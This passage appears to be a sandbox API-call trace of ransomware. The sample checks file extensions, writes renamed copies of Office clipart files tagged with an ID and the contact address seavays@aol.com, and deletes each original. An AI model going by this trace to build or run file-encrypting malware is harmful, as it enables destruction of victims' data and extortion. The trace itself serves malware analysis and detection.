lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0066.521] lstrlenW (lpString=".ppt") returned 4 [0066.521] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0066.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0066.521] lstrlenW (lpString=".zip") returned 4 [0066.521] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0066.521] lstrlenW (lpString=".rar") returned 4 [0066.521] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0066.521] lstrlenW (lpString=".bz2") returned 4 [0066.521] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0066.521] lstrlenW (lpString=".7z") returned 3 [0066.521] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0066.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0066.521] lstrlenW (lpString=".dbf") returned 4 [0066.521] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0066.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0066.521] lstrlenW (lpString=".1cd") returned 4 [0066.521] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0066.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0066.521] lstrlenW (lpString=".jpg") returned 4 [0066.521] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0066.522] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0066.522] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0066.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0066.522] GetLastError () returned 0x0 [0066.522] ReadFile (in: hFile=0x370, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x30c2, lpOverlapped=0x0) returned 1 [0067.187] WriteFile (in: hFile=0x36c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x30d0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x30d0, lpOverlapped=0x0) returned 1 [0067.188] ReadFile (in: hFile=0x370, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0067.188] WriteFile (in: hFile=0x36c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0067.188] SetEndOfFile (hFile=0x36c) returned 1 [0067.188] CloseHandle (hObject=0x36c) returned 1 [0067.190] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.190] SetEndOfFile (hFile=0x370) returned 1 [0067.191] CloseHandle (hObject=0x370) returned 1 [0067.191] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0067.192] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf")) returned 1 [0067.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0067.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0067.192] lstrlenW (lpString=".doc") returned 4 [0067.192] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0067.192] lstrlenW (lpString=".docx") returned 5 [0067.192] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0067.192] lstrlenW (lpString=".pdf") returned 4 [0067.192] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0067.192] lstrlenW (lpString=".xls") returned 4 [0067.192] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0067.192] lstrlenW (lpString=".xlsx") returned 5 [0067.192] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0067.192] lstrlenW (lpString=".ppt") returned 4 [0067.192] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0067.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0067.192] lstrlenW (lpString=".zip") returned 4 [0067.192] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0067.192] lstrlenW (lpString=".rar") returned 4 [0067.192] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0067.193] lstrlenW (lpString=".bz2") returned 4 [0067.193] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0067.193] lstrlenW (lpString=".7z") returned 3 [0067.193] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0067.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0067.193] lstrlenW (lpString=".dbf") returned 4 [0067.193] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0067.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0067.193] lstrlenW (lpString=".1cd") returned 4 [0067.193] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0067.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0067.193] lstrlenW (lpString=".jpg") returned 4 [0067.193] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0067.196] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.196] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0067.196] GetLastError () returned 0x0 [0067.196] ReadFile (in: hFile=0x370, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x2576, lpOverlapped=0x0) returned 1 [0067.198] WriteFile (in: hFile=0x36c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x2580, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x2580, lpOverlapped=0x0) returned 1 [0067.199] ReadFile (in: hFile=0x370, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0067.199] WriteFile (in: hFile=0x36c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0067.199] SetEndOfFile (hFile=0x36c) returned 1 [0067.200] CloseHandle (hObject=0x36c) returned 1 [0067.201] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.201] SetEndOfFile (hFile=0x370) returned 1 [0067.202] CloseHandle (hObject=0x370) returned 1 [0067.202] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0067.202] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf")) returned 1 [0067.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0067.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0067.203] lstrlenW (lpString=".doc") returned 4 [0067.203] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0067.203] lstrlenW (lpString=".docx") returned 5 [0067.203] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0067.203] lstrlenW (lpString=".pdf") returned 4 [0067.203] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0067.203] lstrlenW (lpString=".xls") returned 4 [0067.203] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0067.203] lstrlenW (lpString=".xlsx") returned 5 [0067.203] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0067.203] lstrlenW (lpString=".ppt") returned 4 [0067.203] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0067.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0067.203] lstrlenW (lpString=".zip") returned 4 [0067.203] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0067.203] lstrlenW (lpString=".rar") returned 4 [0067.203] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0067.203] lstrlenW (lpString=".bz2") returned 4 [0067.203] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0067.203] lstrlenW (lpString=".7z") returned 3 [0067.203] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0067.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0067.204] lstrlenW (lpString=".dbf") returned 4 [0067.204] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0067.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0067.204] lstrlenW (lpString=".1cd") returned 4 [0067.204] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0067.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0067.204] lstrlenW (lpString=".jpg") returned 4 [0067.204] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0067.205] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.205] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0067.205] GetLastError () returned 0x0 [0067.205] ReadFile (in: hFile=0x370, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x6ba0, lpOverlapped=0x0) returned 1 [0067.207] WriteFile (in: hFile=0x36c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x6bb0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x6bb0, lpOverlapped=0x0) returned 1 [0067.209] ReadFile (in: hFile=0x370, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0067.209] WriteFile (in: hFile=0x36c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0067.209] SetEndOfFile (hFile=0x36c) returned 1 [0067.209] CloseHandle (hObject=0x36c) returned 1 [0067.211] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.211] SetEndOfFile (hFile=0x370) returned 1 [0067.212] CloseHandle (hObject=0x370) returned 1 [0067.213] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0067.213] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf")) returned 1 [0067.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0067.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0067.213] lstrlenW (lpString=".doc") returned 4 [0067.213] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0067.213] lstrlenW (lpString=".docx") returned 5 [0067.213] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0067.213] lstrlenW (lpString=".pdf") returned 4 [0067.213] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0067.213] lstrlenW (lpString=".xls") returned 4 [0067.213] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0067.214] lstrlenW (lpString=".xlsx") returned 5 [0067.214] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0067.214] lstrlenW (lpString=".ppt") returned 4 [0067.214] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0067.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0067.214] lstrlenW (lpString=".zip") returned 4 [0067.214] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0067.214] lstrlenW (lpString=".rar") returned 4 [0067.214] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0067.214] lstrlenW (lpString=".bz2") returned 4 [0067.214] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0067.214] lstrlenW (lpString=".7z") returned 3 [0067.214] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0067.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0067.214] lstrlenW (lpString=".dbf") returned 4 [0067.214] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0067.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0067.214] lstrlenW (lpString=".1cd") returned 4 [0067.214] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0067.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0067.214] lstrlenW (lpString=".jpg") returned 4 [0067.214] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0067.215] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.215] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0067.215] GetLastError () returned 0x0 [0067.215] ReadFile (in: hFile=0x370, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x2cec, lpOverlapped=0x0) returned 1 [0067.217] WriteFile (in: hFile=0x36c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x2cf0, lpOverlapped=0x0) returned 1 [0067.218] ReadFile (in: hFile=0x370, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0067.218] WriteFile (in: hFile=0x36c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0067.218] SetEndOfFile (hFile=0x36c) returned 1 [0067.218] CloseHandle (hObject=0x36c) returned 1 [0067.219] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.220] SetEndOfFile (hFile=0x370) returned 1 [0067.220] CloseHandle (hObject=0x370) returned 1 [0067.221] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0067.221] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf")) returned 1 [0067.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0067.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0067.221] lstrlenW (lpString=".doc") returned 4 [0067.221] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0067.221] lstrlenW (lpString=".docx") returned 5 [0067.221] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0067.221] lstrlenW (lpString=".pdf") returned 4 [0067.222] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0067.222] lstrlenW (lpString=".xls") returned 4 [0067.222] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0067.222] lstrlenW (lpString=".xlsx") returned 5 [0067.222] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0067.222] lstrlenW (lpString=".ppt") returned 4 [0067.222] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0067.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0067.222] lstrlenW (lpString=".zip") returned 4 [0067.222] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0067.222] lstrlenW (lpString=".rar") returned 4 [0067.222] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0067.222] lstrlenW (lpString=".bz2") returned 4 [0067.222] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0067.222] lstrlenW (lpString=".7z") returned 3 [0067.222] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0067.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0067.222] lstrlenW (lpString=".dbf") returned 4 [0067.222] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0067.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0067.222] lstrlenW (lpString=".1cd") returned 4 [0067.222] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0067.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0067.222] lstrlenW (lpString=".jpg") returned 4 [0067.222] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0067.223] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.223] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0067.223] GetLastError () returned 0x0 [0067.224] ReadFile (in: hFile=0x370, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x1138, lpOverlapped=0x0) returned 1 [0067.777] WriteFile (in: hFile=0x36c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x1140, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x1140, lpOverlapped=0x0) returned 1 [0067.779] ReadFile (in: hFile=0x370, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0067.779] WriteFile (in: hFile=0x36c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0067.779] SetEndOfFile (hFile=0x36c) returned 1 [0067.779] CloseHandle (hObject=0x36c) returned 1 [0067.780] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.780] SetEndOfFile (hFile=0x370) returned 1 [0067.781] CloseHandle (hObject=0x370) returned 1 [0067.782] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0067.782] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf")) returned 1 [0067.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0067.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0067.783] lstrlenW (lpString=".doc") returned 4 [0067.783] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0067.783] lstrlenW (lpString=".docx") returned 5 [0067.783] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0067.783] lstrlenW (lpString=".pdf") returned 4 [0067.783] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0067.783] lstrlenW (lpString=".xls") returned 4 [0067.783] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0067.783] lstrlenW (lpString=".xlsx") returned 5 [0067.783] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0067.783] lstrlenW (lpString=".ppt") returned 4 [0067.783] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0067.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0067.783] lstrlenW (lpString=".zip") returned 4 [0067.783] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0067.783] lstrlenW (lpString=".rar") returned 4 [0067.783] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0067.783] lstrlenW (lpString=".bz2") returned 4 [0067.783] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0067.783] lstrlenW (lpString=".7z") returned 3 [0067.783] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0067.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0067.783] lstrlenW (lpString=".dbf") returned 4 [0067.783] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0067.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0067.783] lstrlenW (lpString=".1cd") returned 4 [0067.783] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0067.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0067.783] lstrlenW (lpString=".jpg") returned 4 [0067.783] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0067.784] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.784] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0067.784] GetLastError () returned 0x0 [0067.784] ReadFile (in: hFile=0x370, 